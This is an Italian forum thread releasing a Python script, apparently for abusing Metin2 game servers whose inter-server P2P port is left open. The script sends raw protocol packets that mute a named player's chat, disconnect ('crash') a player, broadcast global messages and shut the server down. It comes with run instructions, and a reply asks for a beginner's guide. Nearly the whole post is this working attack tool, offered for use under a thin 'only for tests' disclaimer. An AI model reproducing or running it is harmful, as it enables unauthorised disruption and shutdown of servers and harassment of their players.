Tool [RELEASE]P2P Tool (Python)

Stato
Discussione chiusa ad ulteriori risposte.

Ds1St3al

Utente Silver
11 Febbraio 2013
25
8
8
51
Ultima modifica da un moderatore:
Tempo fa fu rilasciato l'admintool (detto anche apitool) in python che sfruttava SHOWMETHEMONEY, eccovi la versione P2P.

--- PS TRANQUILLI NON è NESSUNA LAMERATA VISTO CHE QUASI TUTTI I SERVER HANNO IL FIREWALL CON IL BLOCCO DELLE P2P, QUINDI USATELO PER FARE DEI TEST ETC ---

PER FARLO FUNZIONARE:

- Scaricarvi python nel pc (vi consiglio la 2.6 oppure la 2.7)
- Avere un server di metin2 con le porte p2p attive (senza il firewall che le blocca)
- Avviare lo script premendo due volte con il tasto destro


Codice:
import socket
class P2P_Tool:
    def __init__(self, host, port, command):
        self.host=host
        self.port=port
        self.command=command
    def Send(self):
        c=socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP)
        c.connect((self.host, self.port))
        if self.command.startswith("/block_chat"):
            array=self.command.split(" ", 2)
            if array[0]=="/block_chat":
                nomepg=array[1]
                tempo=array[2]
                query="\x16%s" % nomepg
                size=25-len(nomepg)
                while size:
                    query+="\x00"
                    size-=1
                query+="%s\x00" % tempo
                c.send(query)
                recv=c.recv(1024)
                c.close()
                if len(recv)>0:
                    print "Comando eseguito con successo..."
                else:
                    print "Comando non eseguito..."
            else:
                print "Comando non valido..."
        elif self.command.startswith("/dc"):
            array=self.command.split(" ", 1)
            if array[0]=="/dc":
                nomepg=array[1]
                query="\x07%s" % nomepg
                size=25-len(nomepg)
                while size:
                    query+="\x00"
                    size-=1
                c.send(query)
                recv=c.recv(1024)
                c.close()
                if len(recv)>0:
                    print "Comando eseguito con successo..."
                else:
                    print "Comando non eseguito..."
            else:
                print "Comando non valido..."
        elif self.command.startswith("/n"):
            array=self.command.split(" ", 2)
            if array[0]=="/n" or array[0]=="/notice":
                messaggio=array[1]
                query="\x04\x08\x00\x00\x00\x20%s\x00" % messaggio
                c.send(query)
                recv=c.recv(1024)
                c.close()
                if len(recv)>0:
                    print "Comando eseguito con successo..."
                else:
                    print "Comando non eseguito..."
            else:
                print "Comando non valido..."
        elif self.command.startswith("/ruf"):
            array=self.command.split(" ", 2)
            if array[0]=="/ruf":
                messaggio=array[1]
                query="\x08\x01%s\x00" % messaggio
                size=86-len(messaggio)
                while size:
                    query+="\x00"
                    size-=1
                c.send(query)
                recv=c.recv(1024)
                c.close()
                if len(recv)>0:
                    print "Comando eseguito con successo..."
                else:
                    print "Comando non eseguito..."
            else:
                print "Comando non valido..."
        elif self.command=="/shutdown":
            query="\x05\x01\x00"
            c.send(query)
            recv=c.recv(1024)
            c.close()
            if len(recv)>0:
                print "Comando eseguito con successo..."
            else:
                print "Comando non eseguito..."
        else:
            print "Comando non valido..."


def Form():
    global ip
    global porta
    cmd=raw_input("\nComando (scrivi /help per l'aiuto): ")
    if cmd != "/help":
        P2P=P2P_Tool(ip, porta, cmd)
        P2P.Send()
        Form()
    else:
        print "\nComandi:\n*1) /block_chat nomepg tempo\n*2) /dc nomepg\n*3) /n messaggio\n*4) /ruf messaggio\n*5) /shutdown"
        print "\n1=Blocca la chat del personaggio scritto per i secondi scritti, una volta passati la chat verra' sbloccata automaticamente."
        print "2=Crasha il personaggio scritto."
        print "3=Invia un messaggio globale sulla chat gm."
        print "4=Invia un messaggio globale sulla chat errori."
        print "5=Shutta il server."
        Form()
print """
          _                                       _
    _  _ | |                                     | | _  _
   | || || |                                     | || || |
 =H| || || |========nnnn=============nnnn========| || || |H=
   |_||_|| |        |  |             |  |        | ||_||_|
         |_|        /  |             |  \        |_|
                   |   |             |   |
                   \   (_   /~~~\   _)   /
                    \    \ ( '_' ) /    /
                     \    )\  =  /(    /
                      \   (_)   (_)   /
                       \ /   ~~~   \ /
                       (             )
                        \           /
                         \         /
                          )==(O)==(
"""
print "\n***(C) 2013-2014 Heroes of Bodybuilding\nArnold Metin2 Killer, By skype:walker.ultimate***\n"
ip=raw_input("Indirizzo IP del server: ")
porta=input("Porta P2P del server: " )
Form()
 
  • Mi piace
Reazioni: Reborn_
magari se posti anche una mini-guida...

Lo sò walker che per te saranno stronzat* però in una community ci sono nabbi,andicapaci,capaci,esperti.
 
  • Mi piace
Reazioni: DarkEvil96
Stato
Discussione chiusa ad ulteriori risposte.